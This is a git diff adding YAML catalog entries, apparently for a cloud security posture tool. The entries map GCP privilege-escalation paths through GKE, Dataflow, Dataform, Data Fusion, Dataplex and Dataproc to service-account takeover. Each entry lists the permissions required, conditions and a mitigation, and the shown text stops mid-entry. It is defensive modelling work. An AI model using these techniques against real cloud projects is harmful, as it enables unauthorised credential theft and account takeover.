gcp_gke_nodepool_metadata_downgrade: true + scope: any + aggregate_as: "GKE node pool SAs of clusters the source can update" + conditions: + - id: run_pod_on_pool + description: The source also needs a way to run or exec into a pod on that pool (container.pods.create/exec or in-cluster RBAC). + - id: access_scopes + description: The token is limited by the node VMs' access scopes. + - id: standard_only + description: Autopilot clusters do not expose the setting. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.clusters.update (roles/container.admin, roles/container.clusterAdmin, roles/editor) and use low-privilege node service accounts. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: No actAs is checked because the node SA does not change. The NodePools update REST call is authorized by container.clusters.update. The evaluator requires an exact Standard pool currently using GKE_METADATA and a separate Pod create, controller write, Pod exec/update or node-proxy path that can read metadata on that pool. A cluster-update grant alone does not reach the node SA. Cross-project node SAs remain eligible when actually attached to that pool. + +- id: gcp-container-mutatingwebhookconfigurations-write + provider: gcp + service: container + title: Install or repoint a mutating admission webhook to rewrite admitted pods + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containermutatingwebhookconfigurationscreate--containermutatingwebhookconfigurationsupdate + source_revision: 171e422 + summary: The source may reach a Kubernetes service account through a new or repointed mutating webhook when a matching pod is admitted after the change. + requires: + all_of: + - action: container.clusters.get + resource: "{target.scope}" + any_of: + - - action: container.mutatingWebhookConfigurations.create + resource: "{target.scope}" + - - action: container.mutatingWebhookConfigurations.update + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_webhook_ksa_path: true + scope: cluster + aggregate_as: "KSAs of pods admitted by GKE cluster {target.scope}" + conditions: + - id: webhook_backend + description: The source must control a TLS webhook backend reachable from the API server (an external URL or an in-cluster service it controls) and a rule/scope that matches the victim pods. + - id: victim_admission + description: The edge materialises only when a pod using the target KSA is created or updated after the change; a running pod with a usable token is evidence of a current workload, but its future admission is still conditional. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: high + mitigation: Restrict container.mutatingWebhookConfigurations.* (roles/container.admin) and monitor admission-webhook configuration changes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + notes: Create allows a new configuration; update requires an existing configuration in the exact cluster. The backend, webhook match and future pod admission remain conditional. Autopilot prevents interception of managed namespaces, including kube-system. + +- id: gcp-container-pod-template-ksa + provider: gcp + service: container + title: Create or update a pod-template workload that runs as a chosen Kubernetes service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of every Kubernetes service account (and, through Workload Identity, the Google service accounts bound to them) in GKE clusters where GKE IAM lets it create pods or create/update pod-template controllers. + requires: + any_of: + - - action: container.pods.create + resource: "{target.scope}" + - - action: container.deployments.create + resource: "{target.scope}" + - - action: container.daemonSets.create + resource: "{target.scope}" + - - action: container.jobs.create + resource: "{target.scope}" + - - action: container.cronJobs.create + resource: "{target.scope}" + - - action: container.statefulSets.create + resource: "{target.scope}" + - - action: container.replicaSets.create + resource: "{target.scope}" + - - action: container.replicationControllers.create + resource: "{target.scope}" + - - action: container.deployments.update + resource: "{target.scope}" + - - action: container.daemonSets.update + resource: "{target.scope}" + - - action: container.statefulSets.update + resource: "{target.scope}" + - - action: container.cronJobs.update + resource: "{target.scope}" + - - action: container.replicaSets.update + resource: "{target.scope}" + - - action: container.replicationControllers.update + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_pod_template_ksa: true + scope: cluster + aggregate_as: "KSAs selectable in pod templates of GKE cluster {target.scope}" + conditions: + - id: ksa_rbac + description: The reached privileges are the Kubernetes RBAC of each KSA and, with Workload Identity Federation for GKE, the Google service accounts that grant roles/iam.workloadIdentityUser to that KSA member. + - id: token_mounted + description: The pod must receive a KSA token (automountServiceAccountToken not disabled for that pod, or a projected token volume) or use the GKE metadata server for Workload Identity. + - id: admission + description: Admission policies (Pod Security, Policy Controller, Binary Authorization) may reject the workload or the chosen KSA / image. + - id: api_server_reachable + description: The API server must be reachable (or Connect Gateway access). + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Restrict container.pods.create and pod-controller create/update permissions (roles/container.developer and above), avoid privileged KSAs, and grant roles/iam.workloadIdentityUser only to dedicated KSAs in namespaces untrusted principals cannot write to. + references: + - https://kubernetes.io/docs/concepts/security/service-accounts/ + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: GKE IAM authorizes the request without separate Kubernetes RBAC, so this edge is not visible to the in-cluster k8s catalog. Update-only paths require an existing mutable Pod-template controller in the target KSA's namespace. Job templates cannot switch service accounts through jobs.update. container.pods.update alone only swaps an existing Pod's image and keeps its KSA; it is left out here (node SA path in gcp-container-pod-template-node-sa). The KSA -> Google SA step is the k8s catalog edge k8s-cloud-gke-workload-identity. + +- id: gcp-container-namespaced-rbac-ksa + provider: gcp + service: container + title: Grant oneself namespace RBAC beyond held permissions through GKE IAM bind or escalate + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesbind--containerclusterrolesbind + source_revision: 6fb9ac51fd + summary: The source may reach a Kubernetes service account by granting itself namespace rights to create a pod as that account or mint its token. + requires: + all_of: + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_namespaced_rbac_ksa_path: true + scope: cluster + aggregate_as: "KSAs of namespaces the source can self-grant RBAC in on GKE cluster {target.scope}" + conditions: + - id: strong_role_available + description: Binding needs a referenced Role or ClusterRole granting Pod creation or service account token creation in the target namespace. Updating a RoleBinding cannot change its roleRef. Escalating a Role needs a binding that already reaches the source. + - id: namespace_scope + description: The grant is namespace-scoped; reaching a KSA needs the source to run a pod as that KSA or mint its token in the same namespace. Cluster-scoped objects stay out of reach. + - id: api_server_reachable + description: The API server must be reachable (or Connect Gateway access). + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Do not grant container.roles.bind/escalate or container.clusterRoles.bind (roles/container.admin, roles/container.clusterAdmin) outside cluster administrators. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control + notes: HackTricks @6fb9ac51fd states the bind permission follows the referenced role kind, not whether the binding is namespaced. The cluster-wide variants are gcp-container-clusterroles-bind and gcp-container-clusterroles-escalate. GKE IAM container.* grants apply to every namespace of every cluster in the project. + +- id: gcp-container-pods-exec-running-ksa + provider: gcp + service: container + title: Reach the KSA of a running pod through GKE exec + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsexec + source_revision: 8d6a341c8a + summary: Exec reaches only KSAs whose tokens are available in running pods of the covered cluster. + requires: + all_of: + - action: container.pods.exec + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_pod_exec_ksa: true + scope: cluster + outcome: credentials + conditions: + - id: pod_exec_usable + description: A named running container must admit exec, contain a usable executable, and mount a token for its own KSA that the Kubernetes API accepts. + blockers: [gcp_deny_policy] + confidence: conditional + severity: high + mitigation: Restrict GKE pod exec and avoid broadly privileged workload service accounts. + +- id: gcp-container-nodes-proxy-running-ksa + provider: gcp + service: container + title: Reach the KSA of a running pod through the kubelet proxy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containernodesproxy + source_revision: 8d6a341c8a + summary: The source may reach a Kubernetes service account token by executing in a running container on a node through the kubelet proxy. + requires: + all_of: + - action: container.nodes.proxy + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_running_pod: true + gcp_gke_node_proxy_ksa: true + scope: cluster + outcome: credentials + conditions: + - id: kubelet_exec_usable + description: The kubelet proxy must expose a command-execution endpoint for the matched running container, and the client must speak the streaming protocol. + blockers: [gcp_deny_policy] + confidence: conditional + severity: high + mitigation: Restrict node proxy and isolate privileged workload service accounts. + +- id: gcp-container-pods-update-running-ksa + provider: gcp + service: container + title: Reach the KSA of an existing pod by changing its container image + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 4e9b5eaaa6 + summary: A pod image update can execute attacker code with the existing running pod’s mounted KSA token. + requires: + all_of: + - action: container.pods.update + resource: '{target.scope}' + - action: container.clusters.get + resource: '{target.scope}' + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_pod_update_ksa: true + scope: cluster + outcome: credentials + conditions: + - id: existing_pod + description: A running pod using this KSA must have a mutable container image and an available token; the update cannot change its KSA. + - id: admission + description: Admission and Binary Authorization must allow the replacement image. + - id: api_server + description: The source must reach the cluster API server. + confidence: conditional + severity: high + mitigation: Restrict GKE pod update on namespaces with privileged KSAs and enforce image admission. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/ + - https://kubernetes.io/docs/concepts/security/service-accounts/ + notes: The path is inferred from a named running Pod with an image-bearing container that mounts the target KSA token; a separate observed patch record is not required. The result remains conditional on admitting and running a replacement image. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dataflow.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataflow.yaml new file mode 100644 index 0000000000..a060138506 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataflow.yaml @@ -0,0 +1,113 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Dataflow privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataflow-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Dataflow has no resource-level IAM; worker VMs run as the job's worker SA. + +- id: gcp-dataflow-jobs-create-actas + provider: gcp + service: dataflow + title: Launch a Dataflow job with a chosen worker service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#dataflowjobscreate--iamserviceaccountsactas--execute-code-as-a-selected-worker-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs and that the Dataflow service agent can use. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: dataflow.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_dataflow_flex_launch_path: true + scope: same_project + aggregate_as: "Service accounts usable as Dataflow worker SA in {project}" + conditions: + - id: launch_permissions + description: A regional Flex Template launch also needs project read and staging bucket access; the public YAML Flex Template can carry caller-supplied pipeline code. + - id: service_agent_access + description: Workers only start if the Dataflow and Compute Engine service agents can use the chosen SA and the Dataflow service agent can create workers. + - id: worker_role + description: The worker SA needs Dataflow Worker and read/write access to a staging bucket. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor and roles/owner bundle both dataflow.jobs.create and actAs. + references: + - https://cloud.google.com/dataflow/docs/concepts/security-and-permissions + +- id: gcp-dataflow-datapipelines-create-actas + provider: gcp + service: datapipelines + title: Create a scheduled Data Pipeline that relaunches Dataflow as a chosen worker service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#datapipelinespipelinescreate--recurring-dataflow-run-as-sa-via-a-scheduled-data-pipeline-cron-persistence + source_revision: 4e9b5eaaa6 + summary: The source can obtain the privileges of service accounts in the project on which it holds iam.serviceAccounts.actAs, by creating a Data Pipeline whose Dataflow launch spec runs attacker-influenced pipeline code as that worker service account. + requires: + all_of: + - action: datapipelines.pipelines.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_datapipelines_scheduled_template_path: true + scope: same_project + aggregate_as: "Service accounts usable as Data Pipelines worker SA in {project}" + conditions: + - id: trigger + description: A batch pipeline needs a schedule in a supported region. The caller must be able to act as the chosen Scheduler SA as well as the worker SA; setting both to one SA covers only the caller's actAs check. The Scheduler SA also needs its own Service Account User grant for the launch. A pipeline without a schedule needs a separate pipelines.run caller and is outside this entry. + - id: payload + description: A Flex launch can use Google's public regional Yaml_Template with caller-supplied Beam YAML in the yaml_pipeline parameter, or another template that reads attacker-controlled code. Inline YAML is a parameter of the Flex Template, not a separate Data Pipelines workload type. + - id: service_agent_access + description: The Data Pipelines service agent must be able to create Scheduler and Dataflow jobs, and the Dataflow service agent must be able to use the worker SA (see gcp-dataflow-jobs-create-actas). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/datapipelines.admin and grant actAs only on specific Dataflow worker SAs. + references: + - https://cloud.google.com/dataflow/docs/guides/data-pipelines + notes: Same actAs gate as dataflow.jobs.create; Data Pipelines adds a recurring trigger that survives revocation of the source. +- id: gcp-dataflow-udf-template-bucket-write + provider: gcp + service: dataflow + title: Overwrite a UDF or YAML job template in Cloud Storage consumed by Dataflow workers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#storageobjectscreate--storageobjectsdelete--poison-a-trusted-dataflow-artifact + source_revision: 171e422 + summary: The source can obtain the privileges of the worker service account of Dataflow jobs whose UDF or template objects it can overwrite. + requires: + all_of: + - action: storage.objects.create + resource: '*' + - action: storage.objects.delete + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_dataflow_artifact_overwrite_path: true + scope: any + aggregate_as: Worker SAs of Dataflow jobs consuming writable UDFs/templates + conditions: + - id: timing + description: The modified file is only picked up when the job starts or new workers spin up (autoscaling, new run); jobs already running with loaded code are unaffected until then. + - id: overwrite_rights + description: Replacing the live generation of an existing object needs storage.objects.create and storage.objects.delete; storage.objects.update only changes metadata and storage.objects.get is only needed to read the original. The consumer must reference the object by name or unpinned latest generation, and retention policies or object holds block replacement. A worker package with a pinned sha256 rejects modified contents and is not a viable target without control of the expected checksum. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Keep UDFs and templates in buckets writable only by the deployment pipeline and enable object versioning/retention. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: Google describes shadow resource poisoning for mutable templates, staging dependencies and UDFs. Worker packages with a recorded sha256 are checked before use. Impact is bounded to the worker SA's permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dataform.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataform.yaml new file mode 100644 index 0000000000..2fe4c6a06d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataform.yaml @@ -0,0 +1,51 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Dataform privilege escalation techniques (run-as service account limited to BigQuery jobs). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataform-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Google enforces "strict act-as mode" on all repositories: the caller needs iam.serviceAccounts.actAs on the effective +# service account for repository serviceAccount changes, manual workflow invocations, workflow configs and release configs. +# Scheduled runs are started by the Dataform service agent, which must hold Token Creator (and Service Account User) on +# the effective SA. Compilation runs in Google's environment; only the resulting BigQuery jobs run as the SA. + +- id: gcp-dataform-workflow-invocation-actas + provider: gcp + service: dataform + title: Run a Dataform workflow invocation as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformrepositoriescreate--iamserviceaccountsactas--create-an-attacker-controlled-run-as-repository + source_revision: 171e422 + summary: A caller that can act as a service account may run authored Dataform SQL through an exact repository or enabled creator grant when the Dataform service agent can use that account and the SQL can read or export a protected table or create a table in a protected dataset. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.resource}" + target: + kind: gcp_verified_authority + selector: + gcp_bounded_service_execution: dataform_workflow + gcp_actas_granted_on_target: true + scope: any + outcome: bounded_authority + aggregate_as: "Service accounts usable as Dataform workflow identity in {project}" + conditions: + - id: exact_repository_route + description: The caller must hold a complete code-write, compilation, and invocation route on one repository, or be eligible for the creator admin grant in one enabled location. + - id: exact_bigquery_gain + description: The service account must run jobs and either read a named ordinary table into a same-location caller-readable dataset, export it to a caller-readable bucket, or create a table in a named dataset where the caller lacks write access. + - id: service_agent_token_creator + description: The Dataform service agent (service-@gcp-sa-dataform) must hold Token Creator on the target SA, otherwise invocations fail. + - id: cross_project_attachment + description: A repository using a service account from another project also needs the target project's effective cross-project attachment policy explicitly disabled. + - id: create_self_admin + description: repositories.create alone suffices because the creator can be granted roles/dataform.admin on the new repository at creation; repositories.setIamPolicy self-grants the same on an existing repository. + - id: bigquery_only + description: The SA identity is used only for BigQuery jobs (queries, DDL/DML, EXPORT DATA), not handed to the source as a general token. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant actAs only on dedicated Dataform SAs, do not grant the Dataform service agent Token Creator on privileged SAs, and restrict roles/dataform.admin and roles/dataform.editor. + references: + - https://docs.cloud.google.com/dataform/docs/strict-act-as-mode + - https://docs.cloud.google.com/dataform/docs/required-access + notes: Covers the repository serviceAccount, per-invocation invocationConfig.serviceAccount, repo setIamPolicy and direct-commit variants. Google's strict act-as mode (enforced for all repositories) requires actAs on the effective SA for repository/workflow-config creation and updates, release-config updates and manual invocations, so actAs is always required here (HackTricks at 171e422 agrees). diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/datafusion.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/datafusion.yaml new file mode 100644 index 0000000000..c446b208d0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/datafusion.yaml @@ -0,0 +1,112 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Cloud Data Fusion privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-data-fusion-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: datafusion_instance -> the pipeline VM service account(s) of the compute profiles of the Data +# Fusion instance {target.host_resource} (default: the Compute Engine default SA). + +- id: gcp-datafusion-pipelines-create-execute + provider: gcp + service: datafusion + title: Deploy and run a code-capable Data Fusion pipeline as the pipeline VM service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#create-and-execute-a-pipeline-as-its-configured-vm-service-account + source_revision: 171e422 + summary: The source can run user-controlled code as the pipeline VM service account when a code-capable plugin is available to a pipeline it can create and execute in an authorized namespace. + requires: + all_of: + - action: datafusion.instances.get + resource: '*' + - action: datafusion.namespaces.get + resource: '*' + - action: datafusion.pipelines.create + resource: '*' + - action: datafusion.pipelines.execute + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_datafusion_pipeline_path: true + scope: any + aggregate_as: Pipeline VM SAs of runnable Data Fusion profiles in authorized namespaces + conditions: + - id: plugin_installed + description: A code-capable plugin must be available to an installed pipeline artifact in the namespace. + - id: valid_compute_profile + description: The Data Fusion service agent must already be able to act as the profile's SA; no caller actAs is needed. + - id: namespace_scope + description: Pipeline permissions may be granted per namespace on RBAC-enabled instances. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/datafusion.developer and higher; use a low-privilege pipeline SA per compute profile instead of the Compute Engine default SA. + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac + - https://docs.cloud.google.com/data-fusion/docs/concepts/service-accounts +- id: gcp-datafusion-setiampolicy-self-grant + provider: gcp + service: datafusion + title: Self-grant a Data Fusion instance or namespace role, then run pipelines + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#self-grant-a-data-fusion-instance-or-namespace-role + source_revision: 171e422 + summary: The source can grant itself pipeline access through a writable Data Fusion instance or namespace IAM policy, then run an installed code plugin as an authorized profile's pipeline VM service account. + requires: + any_of: + - - action: datafusion.instances.setIamPolicy + resource: '*' + - - action: datafusion.namespaces.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_datafusion_selfgrant_path: true + scope: any + aggregate_as: Pipeline VM SAs of runnable Data Fusion profiles on instances or namespaces whose IAM policy the source controls + conditions: + - id: accessor_gate + description: The namespace path also needs effective datafusion.instances.get (roles/datafusion.accessor); Google's RBAC pages disagree on whether it is implicit. + - id: plugin_installed + description: A code-capable plugin must be available to an installed pipeline artifact, and its selected runner and service agent must have their runtime permissions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Keep Data Fusion setIamPolicy permissions to administrators (Data Fusion Admin, Owner). + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac +- id: gcp-datafusion-artifacts-create-plugin-poison + provider: gcp + service: datafusion + title: Plant a trojanized CDAP plugin used by existing Data Fusion pipelines + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#malicious-artifact--plugin-planted-in-the-namespace-datafusionartifactscreate + source_revision: 4e9b5eaaa6 + summary: The source can replace the exact user-scoped plugin artifact used by an enabled pipeline schedule and reach that pipeline's resolved runner service account. + requires: + all_of: + - action: datafusion.instances.get + resource: '*' + - action: datafusion.namespaces.get + resource: '*' + - action: datafusion.artifacts.create + resource: '*' + - action: datafusion.artifacts.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_datafusion_artifact_poison_path: true + scope: any + aggregate_as: Pipeline runner SAs of scheduled Data Fusion pipelines using replaceable plugins + conditions: + - id: victim_pipeline_uses_plugin + description: An enabled schedule must run a deployed pipeline that references the exact user-scoped artifact name and version after replacement. + - id: namespace_scope + description: The caller needs namespace get/create/update permissions; an existing non-snapshot artifact also needs delete permission on that namespace. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict artifact create/update/delete on pipeline namespaces, avoid mutable SNAPSHOT plugins, and use a low-privilege pipeline runner SA. + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dataplex.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataplex.yaml new file mode 100644 index 0000000000..b02b815ba4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataplex.yaml @@ -0,0 +1,43 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Dataplex privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataplex-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-dataplex-tasks-create-actas + provider: gcp + service: dataplex + title: Create a Dataplex Spark task with a chosen execution service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplextaskscreate--iamserviceaccountsactas--execute-attacker-code-as-a-service-account + source_revision: 6fb9ac51fd + summary: The source can create a Spark task in an active lake with a service account it can act as, using a Python payload it can place in a bucket that the runner can read. + requires: + all_of: + - action: dataplex.tasks.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataplex_task_path: true + scope: any + aggregate_as: Service accounts usable by a Dataplex Spark task in an active lake + conditions: + - id: execution_project_sa + description: The execution SA must belong to the task's execution project (the lake project by default, or a chosen execution project); cross-project execution adds service-agent, networking and quota prerequisites in both projects. + - id: sa_baseline_roles + description: The SA needs the serverless Spark runtime permissions (e.g. roles/dataproc.worker) and read access to every referenced script, JAR or file. + - id: payload_upload + description: The source must be able to create a Python object in an existing bucket that the runner can read; another proven writable code source could also work. + - id: lake + description: An existing Dataplex lake is required (creating one is not part of the minimum set); Dataplex and Dataproc APIs must be enabled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Dataplex task SAs; roles/editor contains both permissions. + references: + - https://docs.cloud.google.com/knowledge-catalog/docs/reference/rest/v1/projects.locations.lakes.tasks/create + - https://docs.cloud.google.com/sdk/gcloud/reference/dataplex/tasks/create + notes: Task updates revalidate actAs on the bound execution identity, so updating an existing task is not modelled as an actAs bypass. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dataproc.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataproc.yaml new file mode 100644 index 0000000000..ab4c706b48 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataproc.yaml @@ -0,0 +1,248 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Dataproc privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataproc-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Create-time gates: actAs on the chosen SA (caller) and roles/dataproc.worker on that SA (else creation is rejected). + +- id: gcp-dataproc-jobs-create-existing-cluster + provider: gcp + service: dataproc + title: Submit a job to an existing Dataproc cluster and use the cluster service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget-dataprocclustersuse-dataprocjobscreate-dataprocjobsget-dataprocjobslist-storageobjectscreate-storageobjectsget + source_revision: 171e422 + summary: The source can submit a runnable job to an existing cluster and use the VM service account on a standard cluster or its mapped account on a secure multi-tenant cluster. + requires: + all_of: + - action: dataproc.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_job_path: true + scope: any + aggregate_as: "SAs available to jobs on existing Dataproc clusters" + conditions: + - id: script_upload + description: The caller needs clusters.use on the exact running cluster, and must supply a script that the job identity can read; CLI workflows also use clusters.get and jobs.get. + - id: access_scopes + description: VM OAuth scopes must allow access; a secure multi-tenant job uses a mapped account that the VM account can mint tokens for, while personal authentication is unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/dataproc.editor/admin to cluster owners and run clusters with least-privilege SAs. + notes: jobs.create is project-scoped and clusters.use must hold on the exact cluster. No actAs is needed to reuse its configured identity. + +- id: gcp-dataproc-clusters-batches-create-actas + provider: gcp + service: dataproc + title: Create a Dataproc cluster or serverless batch running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclusterscreate--dataprocbatchescreate--iamserviceaccountsactas--attach-an-arbitrary-service-account + source_revision: 171e422 + summary: The source can create a cluster or serverless batch with a selected service account and a usable runtime; cluster metadata can carry inline startup code, while a batch needs a readable Python script. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "*" + any_of: + - - action: dataproc.clusters.create + resource: "*" + - - action: dataproc.batches.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_create_path: true + scope: any + aggregate_as: "Service accounts usable as Dataproc VM/batch SA in {project}" + conditions: + - id: sa_worker_role + description: The selected SA needs Worker permissions and staging access for clusters and older batches; a runtime 3.x batch instead needs Serverless Node and Resource Manager Node Service Agent roles, with the Resource Manager API enabled. + - id: access_scopes + description: On classic clusters the node token is limited to the OAuth scopes chosen at create time; the creator can request cloud-platform. Serverless workloads use cloud-platform. + - id: cluster_code_path + description: On the cluster path, initialization actions or a startup-script/ssh-keys metadata key run code as root on the nodes at creation, so dataproc.jobs.create is not required. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; review roles/dataproc.hubAgent which bundles actAs and clusters.create. + references: + - https://cloud.google.com/dataproc/docs/concepts/configuring-clusters/service-accounts + - https://docs.cloud.google.com/managed-spark/docs/concepts/iam-serverless + - https://docs.cloud.google.com/managed-spark/docs/concepts/versions/spark-runtime-3.0 + - https://docs.cloud.google.com/managed-spark/docs/concepts/network-serverless + +- id: gcp-dataproc-sessions-create-actas + provider: gcp + service: dataproc + title: Create an interactive Dataproc Serverless session running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocsessionscreate--dataprocsessiontemplatescreate--interactive-serverless-session-run-as-sa + source_revision: 171e422 + summary: The source can create and access an interactive Spark session with a chosen service account when that account has a usable Worker or 3.x Node runtime. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "*" + - action: dataproc.sessions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_session_path: true + scope: any + aggregate_as: "Service accounts usable as Dataproc session SA in {project}" + conditions: + - id: sa_worker_role + description: The chosen SA needs Worker permissions for a pre-3.0 session or Serverless Node and Resource Manager Node Service Agent roles for a 3.x session; the caller must also be able to read the session to 